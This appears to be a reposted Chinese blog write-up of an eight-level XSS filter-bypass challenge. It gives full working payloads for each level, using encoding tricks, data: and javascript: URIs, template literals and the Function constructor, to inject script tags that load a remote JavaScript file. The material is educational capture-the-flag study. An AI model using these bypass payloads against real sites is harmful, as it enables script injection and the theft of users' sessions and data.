【XSS】XSS修煉之獨孤九劍


題目地址

xcao.vip/test

題目作者給出的解題思路

http://xcao.vip/test/xss/XSS修煉之獨孤九劍.pdf

獨孤九劍-第一式

題目

在這里插入圖片描述

過濾了等號 =、小括號 (),要求加載任意 JS 代碼。成功加載 http://xcao.vip/xss/alert.js 表示完成挑戰

方法一

首先應該思考,在 JavaScript 中,加載 JS 代碼,有哪些方式?

首先想到了

<script src="http://xcao.vip/xss/alert.js"></script>

這是最基本的加載方式。

此時我們需要在頁面中加載這個 JS 代碼,應該想到使用 document.write(),將上面的代碼寫入 HTML 頁面,從而執行 JS 代碼。

那么如果要使用這個方法,還得在外面再使用一個 <script> 標簽。即:

<script>document.write(<script src="http://xcao.vip/xss/alert.js"></script>)</script>

然后再回到題目中來。

查看 HTML 代碼:

<html>
	<head>
		<meta charset="utf-8">
		<title>獨孤九劍-第一式  Design by 香草</title>
	</head>
	<body>
		<h2>過濾了 =(),少俠骨骼驚奇,必是練武奇才</h2>
		<h2>要求加載任意JS代碼,成功加載http://xcao.vip/xss/alert.js 表示完成挑戰</h2>
	<input type="text" value="s">
	</body>
</html>

題目只有一個輸入框,並且無法通過輸入框提交內容。而同時我們注意到地址欄里有通過 GET 方式提交的參數:
在這里插入圖片描述
嘗試修改參數,成功修改了輸入框中的內容:
在這里插入圖片描述
那么 XSS 攻擊的點就在這里。

根據頁面的源代碼,自己構造的 XSS 攻擊代碼,首先應當將原本的 <input> 標簽閉合,即在 123123 后面跟上 ">
在這里插入圖片描述
從源代碼中可以看到,自己輸入的 "> 成功將標簽閉合,原本存在的 "> 被孤立了出來:
在這里插入圖片描述
此時我們就可以在后面跟上我們自己的 JS 代碼進行 XSS 攻擊了:

"><script>document.write(<script src="http://xcao.vip/xss/alert.js"></script>)</script>

但是別忘了題目的過濾條件,在這里等號 = 和小括號 () 不起作用。

接下來應當思考怎么繞過。

通過查找資料我們得知,可以用反引號代替小括號實現繞過。要繞過等號 = 的過濾,可以document.write() 中的內容進行 Unicode 編碼,即:

"><script>document.write`\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u0020\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0078\u0063\u0061\u006f\u002e\u0076\u0069\u0070\u002f\u0078\u0073\u0073\u002f\u0061\u006c\u0065\u0072\u0074\u002e\u006a\u0073\u0022\u003e\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e`</script>

提交內容,成功繞過:
在這里插入圖片描述
完整 Payload:

http://xcao.vip/test/xss1.php?data=123123"><script>document.write`\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u0020\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0078\u0063\u0061\u006f\u002e\u0076\u0069\u0070\u002f\u0078\u0073\u0073\u002f\u0061\u006c\u0065\u0072\u0074\u002e\u006a\u0073\u0022\u003e\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e`</script>

方法二

題目作者給出的一種方法:

http://xcao.vip/test/xss1.php?data=%22%3E%3Csvg%3E%3Cscript%3E%26%23x65%3B%26%23x76%3B%26%23x61%3B%26%23x6c%3B%26%23x28%3B%26%23x6c%3B%26%23x6f%3B%26%23x63%3B%26%23x61%3B%26%23x74%3B%26%23x69%3B%26%23x6f%3B%26%23x6e%3B%26%23x2e%3B%26%23x68%3B%26%23x61%3B%26%23x73%3B%26%23x68%3B%26%23x2e%3B%26%23x73%3B%26%23x6c%3B%26%23x69%3B%26%23x63%3B%26%23x65%3B%26%23x28%3B%26%23x31%3B%26%23x29%3B%26%23x29%3B%3C/script%3E%3C/svg%3E#with(document)body.appendChild(createElement('script')).src='http://xcao.vip/test/alert.js'

我們來分析這里用了些什么方法。

首先,原作者提到,自己使用了 <svg> 標簽,是因為在 <svg> 標簽中的 <script> 標簽可以使用 HTML 編碼,從而避開題目的過濾。

解碼后的內容為:

http://xcao.vip/test/xss1.php?data="><svg><script>&#x65;&#x76;&#x61;&#x6c;&#x28;&#x6c;&#x6f;&#x63;&#x61;&#x74;&#x69;&#x6f;&#x6e;&#x2e;&#x68;&#x61;&#x73;&#x68;&#x2e;&#x73;&#x6c;&#x69;&#x63;&#x65;&#x28;&#x31;&#x29;&#x29;</script></svg>#with(document)body.appendChild(createElement('script')).src='http://xcao.vip/test/alert.js'

我們再將 HTML 編碼進行解碼,可得:

http://xcao.vip/test/xss1.php?data="><svg><script>eval(location.hash.slice(1))</script></svg>#with(document)body.appendChild(createElement('script')).src='http://xcao.vip/test/alert.js'

完整的構造這時才得以清晰展現在我們眼前。

首先是 eval() 函數,eval() 函數計算 JavaScript 字符串,並把它作為腳本代碼來執行。

如果參數是一個表達式,eval() 函數將執行表達式。如果參數是 JavaScript 語句,eval()執行 JavaScript 語句

接下來是 location.hash.slice(1)hashlocation 對象中的一個屬性,是一個可讀可寫的字符串,該字符串是 URL 的錨部分(從 # 號開始的部分)

slice(start, end) 方法可提取字符串的某個部分,並以新的字符串返回被提取的部分

start 參數字符串中第一個字符位置為 0,第二個字符位置為 1,以此類推。

因此,綜上可得,location.hash.slice(1) 的含義就是獲取 # 號之后的內容,即:

with(document)body.appendChild(createElement('script')).src='http://xcao.vip/test/alert.js'

這里的 with 用法其實也可以替換成

document.body.appendChild(document.createElement('script')).src='http://xcao.vip/test/alert.js'

接下來進一步分析代碼。

appendChild() 方法可向節點的子節點列表的末尾添加新的子節點。也就是說,從 DOM 樹的角度,這個方法向 body 節點的子節點列表的最后添加了一個 script 節點,相當於直接添加了一個 <script> 標簽

這樣一切都解釋得通了。妙哉!

獨孤九劍-第二式

題目

在這里插入圖片描述

在第一式的基礎之上,增加了對點 . 的過濾

方法一

在這種情況下,document.write 這樣的用法肯定就不起作用了,得想想怎么繞過對點 . 的過濾。

通過查找資料我們可以得知,JavaScript 的對象的屬性的讀取可以通過類似數組的方式來進行,比如對象 documentwrite 方法就可以寫成 document['write']

這樣就成功繞過了題目對點 . 的過濾。

基於第一式方法一,我們直接將 document.write 寫成 document['write'],其他照舊,則有了:

http://xcao.vip/test/xss1.php?data=123123"><script>document['write']`\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u0020\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0078\u0063\u0061\u006f\u002e\u0076\u0069\u0070\u002f\u0078\u0073\u0073\u002f\u0061\u006c\u0065\u0072\u0074\u002e\u006a\u0073\u0022\u003e\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e`</script>

成功加載:
在這里插入圖片描述

方法二

同第一式方法二一樣,由於本身構造的 # 錨點並不會作為參數被傳入后台,並且經過 URL 解碼后的 HTML 編碼也不含有被過濾的點 .,因此第一式方法二的構造語句可以原封不動地拿來使用。即:

http://xcao.vip/test/xss2.php?data=%22%3E%3Csvg%3E%3Cscript%3E%26%23x65%3B%26%23x76%3B%26%23x61%3B%26%23x6c%3B%26%23x28%3B%26%23x6c%3B%26%23x6f%3B%26%23x63%3B%26%23x61%3B%26%23x74%3B%26%23x69%3B%26%23x6f%3B%26%23x6e%3B%26%23x2e%3B%26%23x68%3B%26%23x61%3B%26%23x73%3B%26%23x68%3B%26%23x2e%3B%26%23x73%3B%26%23x6c%3B%26%23x69%3B%26%23x63%3B%26%23x65%3B%26%23x28%3B%26%23x31%3B%26%23x29%3B%26%23x29%3B%3C/script%3E%3C/svg%3E#with(document)body.appendChild(createElement('script')).src='http://xcao.vip/test/alert.js'

成功加載:
在這里插入圖片描述

方法三

題目作者給出的一種方法:

http://xcao.vip/test/xss2.php?data=xxx%22%3E%3Cscript%3EsetTimeout`\u0065\u0076\u0061\u006c\u0028\u006c\u006f\u0063\u0061\u0074\u0069\u006f\u006e\u002e\u0068\u0061\u0073\u0068\u002e\u0073\u006c\u0069\u0063\u0065\u0028\u0031\u0029\u0029`;%3C/script%3E#with(document)body.appendChild(createElement('script')).src='http://xcao.vip/xss/alert.js'

作者稱,這樣是通過 setTimeout 以及用反引號代替 (), 同時采用 Unicode 編碼繞過對 (). 的限制。

在這串代碼中,setTimeout() 是屬於 window 的方法,該方法用於在指定的毫秒數后調用函數或計算表達式

這里缺省了時間的參數,相當於不需要等待,直接執行。

中間的 Unicode 編碼的內容還是之前的 eval(location.hash.slice(1)),總體上思路和第一式方法二差不多。

獨孤九劍-第三式

題目

在這里插入圖片描述

放開了 = 的過濾,新增了 &#\ 的過濾

方法一

新增了 &#\ 的過濾,這明顯就是沖着 HTML 編碼和 Unicode 編碼來的。

惡意不小啊😅😅😅

嘗試將之前的 Payload 經過二次編碼,想看看行不行,結果都沒彈出來。仔細想想突然發現作者把 = 的過濾給放開了!!!

那不就可以考慮一下:

<script src="http://xcao.vip/xss/alert.js"></script>

題目對點 . 進行了過濾,那么 URL 編碼一下:

<script src="http://xcao%252evip/xss/alert%252ejs"></script>

這里有個需要注意的地方,這里第一次將 . 進行 URL 編碼后得到 %2e,但是還不夠,通過 GET 方式提交上去后,瀏覽器會自動幫我們解碼一次,又變回來了,那樣的話 . 還是會被過濾。

因此需要再將 % 進行 URL 編碼,得到 %252e。這樣瀏覽器解碼 %25%,不會再對 %2e 進行解碼,就可以繞過后端的過濾了。

成功彈窗:
在這里插入圖片描述
提交之后的 HTML 代碼就是這樣的:
在這里插入圖片描述
完整 Payload:

http://xcao.vip/test/xss3.php?data="><script src="http://xcao%252evip/xss/alert%252ejs"></script>

這個方法也是題目作者使用的方法。

方法二

這個是在知乎上看到的一個方法。

先上 Payload:

http://xcao.vip/test/xss3.php?data="><script src="http://2130706433"></script>

接下來分析一下這個作者的思路。

他想到的是利用 PHP 的 302 重定向,在本地寫了一個 PHP 文件,文件的內容是這樣的:

<?php
header("Location: http://xcao.vip/xss/alert.js");
?>

也就是說,當訪問這個 PHP 文件的時候,會自動跳轉到 http://xcao.vip/xss/alert.js 這個地址來。

然后他就在 Payload 中加載自己的本地 IP 地址,但前提是需要將自己本地的 Web 服務的網站首頁修改成這個 PHP 文件。

接下來就會遇到一個問題:IP 地址中的 . 會遭到題目的過濾。於是這個作者將 IP 地址轉換成了十進制形式:
在這里插入圖片描述
然后就順利實現了繞過:
在這里插入圖片描述
整體思路和方法一相比,大同小異,大體框架是一樣的,就是對 . 的繞過方式不一樣。從實現的簡單程度來說,方法一明顯要方便一些,但方法二也是值得思考的,說不定會用到更復雜的過濾情況呢🤔🤔🤔。

獨孤九劍-第四式

題目

在這里插入圖片描述

在上一題的基礎之上,又新增了 = 的過濾

哦豁,這下 src 屬性也用不了了😧😧😧

黔驢技窮,只能求助萬能的網友了。

方法一

直接上 Payload:

http://xcao.vip/test/xss4.php?data="><iframe></iframe><script>frames[0]['location']['replace']`data:text/html;base64,PHNjcmlwdCBzcmM9Imh0dHA6Ly94Y2FvLnZpcC94c3MvYWxlcnQuanMiPjwvc2NyaXB0Pg`</script>

然后分析這個代碼是怎么一回事。

首先是 <iframe> 標簽,這個標簽是干嘛的?

<iframe> 標簽規定一個內聯框架,被用來在當前 HTML 文檔中嵌入另一個文檔。

說人話就是,在一個網頁中嵌入另外一個網頁,就像下圖這樣:
在這里插入圖片描述
可以通過 src 屬性指定 URL。但是等號被過濾掉了,src 屬性用不了,怎么辦?

這時用到了 frames[0].location.replace() 這個東西。

首先來看 frames 這個屬性,這個屬性返回窗口中所有命名的框架。也就是說,這個屬性會返回當前頁面中所有的 iframe 框架,是一個類似數組的形式。

這里選擇下標為 0 的框架,也就是第一個即我們自己構造的 <iframe> 標簽。

然后,location 獲取標簽的 URL,location.replace(url) 通過加載 URL 指定的文檔來替換當前文檔,這個方法是替換當前窗口頁面。

接下來就是最重要的 data 協議部分了。text/html 指定了數據格式,base64 指定了編碼類型為 base64 編碼。

在這之后,我們需要寫入替換的代碼,因為要加載目標代碼,所以還是沿用之前的 <script> 標簽:

<script src="http://xcao.vip/xss/alert.js"></script>

然后將這段代碼進行 base64 加密:PHNjcmlwdCBzcmM9Imh0dHA6Ly94Y2FvLnZpcC94c3MvYWxlcnQuanMiPjwvc2NyaXB0Pg

成功彈窗:
在這里插入圖片描述
以上就是這個方法所有的技術要點了。

整理一番下來,感覺又打開了新的大門😮😮😮

方法二

題目作者給出的一種做法。

Payload:

http://xcao.vip/test/xss4.php?data="><script>location['replace']`javascript:eval%2528eval%2528location%252ehash%252eslice%25281%2529%2529%2529`</script>#with(document)body.appendChild(createElement('script')).src='http://xcao.vip/xss/alert.js'

和方法一有相似之處,也使用了 location['replace'] 的做法。作者提到,他還用了 JavaScript 偽協議以及 URL 編碼。

先來說說 JavaScript 偽協議。

偽協議不同於 HTTP 、FTP 這類標准化協議,它是一種非標准化的協議,主要應用於關聯應用程序,較為特殊。

比如有的場景中會使用 tencent:// 來關聯 QQ,包括方法一使用的 data: 也是一種偽協議。

在 JavaScript 中,要使用偽協議,需要使用 javascript: 進行聲明,比如:

javascript:alert("hello world!")

這個特殊的協議類型聲明了其主體是任意的 JavaScript 代碼,它由 JavaScript 的解釋器運行。

如果代碼含有多個語句,必須使用分號 ; 將這些語句分隔開。

回到這個方法中來,在使用偽協議之后,作者使用了 eval(eval(location.hash.slice(1))),其中 eval(location.hash.slice(1)) 得到了

with(document)body.appendChild(createElement('script')).src='http://xcao.vip/xss/alert.js'

這一部分,然后再將這一部分執行,從而實現添加 <script> 標簽。

值得注意的是,將 eval(eval(location.hash.slice(1))) 進行 URL 編碼過后,仍需要對 % 進行二次編碼。

執行結果:
在這里插入圖片描述

獨孤九劍-第五式

題目

在這里插入圖片描述

在上一題基礎上,新增了對 % 的過濾,取消了對 = 的過濾。即在第三式基礎上,增加對 % 的過濾

好家伙,這下 URL 編碼被 ban 掉了😅😅😅

方法一

回顧第三式的兩個方法,由於新增對 % 的過濾,顯然第一個方法已經不奏效了。

但我們驚奇地發現第二個方法貌似還能用。

因為是十進制編碼,URL 中只含有數字,所以按理說能夠成功繞過。

果不其然,成功彈窗:
在這里插入圖片描述
Payload:

http://xcao.vip/test/xss5.php?data="><script src="http://2130706433"></script>

這個方法也是題目作者采用的方法。

方法二

在第四式中,我們使用了一個 location['replace'] 搭配 base64 編碼的方法,發現這個方法由於沒有使用 %,同樣也適用於這道題的場景。

索性直接照搬:

http://xcao.vip/test/xss5.php?data="><iframe></iframe><script>frames[0]['location']['replace']`data:text/html;base64,PHNjcmlwdCBzcmM9Imh0dHA6Ly94Y2FvLnZpcC94c3MvYWxlcnQuanMiPjwvc2NyaXB0Pg`</script>

成功彈窗:
在這里插入圖片描述
直接套模板,這道題就做得很舒服😛😛😛

獨孤九劍-第六式

題目

在這里插入圖片描述

在上一題基礎上,增加對等號 = 的過濾

方法一

這一題的過濾依舊沒能覆蓋到 base64 所使用到的字符,所以 base64 直接殺瘋了,連破三關!

http://xcao.vip/test/xss6.php?data="><iframe></iframe><script>frames[0]['location']['replace']`data:text/html;base64,PHNjcmlwdCBzcmM9Imh0dHA6Ly94Y2FvLnZpcC94c3MvYWxlcnQuanMiPjwvc2NyaXB0Pg`</script>

成功彈窗:
在這里插入圖片描述

方法二

題目作者給出的一個方法。

Payload:

http://xcao.vip/test/xss6.php/?data="><script>document['write']`<img ${location['hash']['slice']`1`}`</script>#/src='x'onerror=with(document)body.appendChild(createElement('script')).src='http://xcao.vip/test/alert.js'//

作者提到自己受思維定勢影響,很執着地要使用 hash 來保存攻擊變量,走了不少彎路,最后還是發現,base64 真香!

讓我們來看看作者的思路是怎樣的。

為了繞過對 . 的過濾,作者使用了 document['write'],然后往界面寫入了一個 <img> 標簽。

在這個標簽中,我們看到了一個 ${} 的結構。

通過查找資料,我們得知,這個結構被稱作模板字符串,而 ${} 是模板字符串中的占位符,是 JavaScript 的版本標准 ECMAScript 6.0(簡稱 ES6)中的用法。

在模板字符串中,{} 中的內容可以是字符串,也可以是表達式,在輸出模板字符串的時候,會先將表達式的值計算出來,然后再進行輸出

因此我們可以理解成,<img> 標簽先執行了 location.hash.slice(1),得到了:

/src='x'onerror=with(document)body.appendChild(createElement('script')).src='http://xcao.vip/test/alert.js'//

然后再嵌入到 <img> 標簽中,就相當於往頁面中插入了一個圖片,鏈接為 x 發生錯誤,然后執行我們后面的 with 部分。

但是在這里我遇到了一點語法上的問題。

就是不明白這個 src 前面的 / 是怎么一回事。

從執行結果來看,不帶 / 的話,<img> 標簽中的 src 前面會加上一個逗號 ,,進而使得這個標簽的語法不正確:
在這里插入圖片描述加上 / 過后,變成了這樣:
在這里插入圖片描述並且成功彈窗:
在這里插入圖片描述
這個問題困擾了我很久,一直不知道怎么回事,也找了很多資料,都沒看到有這方面的解釋。

人麻了🙃🙃🙃

如果有大佬能看到並且知道原因的話,麻煩評論或者私信指點一下我吧,弟弟感激不盡!!!

獨孤九劍-第七式

題目

在這里插入圖片描述

在上一題的基礎上,繼續增加對 <> 的過濾,輸出點從 <input> 標簽變到了 <script> 標簽中

這下標簽也不能用了,題目過濾越來越變態了😰😰😰

還是求助萬能的網友。

方法一

Payload:

http://xcao.vip/test/xss7.php?data="";document['write']`${String['fromCharCode']`60`%2B"iframe src"%2BString['fromCharCode']`61`%2B"data:text/html;base64,PHNjcmlwdCBzcmM9Imh0dHA6Ly94Y2FvLnZpcC94c3MvYWxlcnQuanMiPjwvc2NyaXB0Pg"%2BString['fromCharCode']`62`}`

接下來分析一下思路。

由於輸出點變了,到了 <script> 標簽,所以要看看頁面代碼是怎樣的,方便做閉合:
在這里插入圖片描述
接下來就嘗試構造 "";,閉合前一條語句的同時,也將其與后面的語句隔斷了,以便於我們構造后面的內容。

有點 SQL 堆疊注入的味道了。

然后又是使用 document['write'],往 HTML 頁面寫入內容。寫入的是一個模板字符串,占位符非常長:

${String['fromCharCode']`60`%2B"iframe src"%2BString['fromCharCode']`61`%2B"data:text/html;base64,PHNjcmlwdCBzcmM9Imh0dHA6Ly94Y2FvLnZpcC94c3MvYWxlcnQuanMiPjwvc2NyaXB0Pg"%2BString['fromCharCode']`62`}

首先是 String['fromCharCode'](),這個方法的作用是將 Unicode 編碼轉為一個字符,這里的 String['fromCharCode'](60) 就是 <

然后根據模板字符串的語法,和字符串 iframe 之間,需要有一個 + 來進行拼接,但是需要注意的一點是,我們從始至終都是在題目的 URL 里面輸入 Payload 的,縱觀全局,這個 + 現在處在的位置是在 URL 里面,如果不進行編碼轉換,會被當成空格,那么就會出問題。

所以 %2B 就是這么來的。

同理,String['fromCharCode'](61)=String['fromCharCode'](62)>,將模板字符串占位符中的代碼翻譯一下就是:

<iframe src="data:text/html;base64,PHNjcmlwdCBzcmM9Imh0dHA6Ly94Y2FvLnZpcC94c3MvYWxlcnQuanMiPjwvc2NyaXB0Pg">

又回到了之前的 base64 大法,妙哉,妙哉!

方法二

題目作者給出的一種方法:

http://xcao.vip/test/xss7.php/?data=1;[]['filter']['constructor']`a${location['hash']['slice']`1`}```#with(document)body.appendChild(createElement('script')).src='http://xcao.vip/xss/alert.js'

讓我們來看看又用了些什么神奇的姿勢。

首先是 []['filter']['constructor'] 這一部分,經查,這種語法是 JSFuck 的用法。

JSFuck 是一種深奧的 JavaScript 編程風格。以這種風格寫成的代碼中僅使用 []()!+ 六種字符。

此編程風格的名字派生自僅使用較少符號寫代碼的 Brainfuck 語言。與其他深奧的編程語言不同,以JSFuck風格寫出的代碼不需要另外的編譯器或解釋器來執行,無論瀏覽器或 JavaScript 引擎中的原生 JavaScript 解釋器皆可直接運行。

鑒於 JavaScript 是弱類型語言,編寫者可以用數量有限的字符重寫 JavaScript 中的所有功能,且可以用這種方式執行任何類型的表達式。

JSFuck 常見的取值有以下這些:

false       =>  ![]
true        =>  !![]
undefined   =>  [][[]]
NaN         =>  +[![]]
0           =>  +[]
1           =>  +!+[]
2           =>  !+[]+!+[]
10          =>  [+!+[]]+[+[]]
Array       =>  []
Number      =>  +[]
String      =>  []+[]
Boolean     =>  ![]
Function    =>  []["filter"]
eval        =>  []["filter"]["constructor"]( CODE )()
window      =>  []["filter"]["constructor"]("return this")()

回到題目,根據上面這個對應關系,我們可以 []['filter']['constructor'] 對應成 eval,后面的部分已經很熟悉了,這里就不再贅述了。

這里也有一個不好理解的地方,在${location['hash']['slice'](1)} 這個地方的前面,作者添上了一個字符,說是不添加就會報錯,我自己也嘗試了一下,確實是這樣:
在這里插入圖片描述
報錯顯示缺少形參。

填上之后就彈窗了:
在這里插入圖片描述
難不成添加的字符就是做形參用的?

但是這個原理實在不能理解🙄🙄🙄

獨孤九劍-第八式

題目

在這里插入圖片描述

在上一題的基礎上,又新增了對 '"[] 的過濾

面對越來越變態的過濾方式,只能看看作者本人的做法了。

方法一

題目作者本人給出的方法:

<iframe src="http://xcao.vip/test/xss8.php/?data=Function`b${name}```" name="with(document)body.appendChild(createElement('script')).src='http://xcao.vip/xss/alert.js'"></iframe>

作者稱,他是直接新建了一個網頁,往文件里面寫入了這個代碼。

這里的 Function() 是一個匿名函數,沒有函數名。通過給變量 name 賦值,然后傳入模板字符串,再執行 JavaScript 文件。

點開這個網頁的時候,直接執行里面的代碼。

成功彈窗:
在這里插入圖片描述
奇怪的姿勢又增加了!

方法二

http://xcao.vip/test/xss8.php?data=Function`b${atob`ZG9jdW1lbnQud3JpdGUoIjxzY3JpcHQgc3JjPSdodHRwOi8veGNhby52aXAveHNzL2FsZXJ0LmpzJz48L3NjcmlwdD4iKQ`}```

讓我們來看看又用了哪些新姿勢。

外層 Function() 函數是一樣的,這里遇到了一個新方法 atob(),經查得知,atob() 方法用於解碼使用 base64 編碼的字符串。

而里面的字符串解碼過后的內容是這樣的:

document.write("<script src='http://xcao.vip/xss/alert.js'></script>")

成功彈窗:
在這里插入圖片描述
太棒了,學到許多(


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM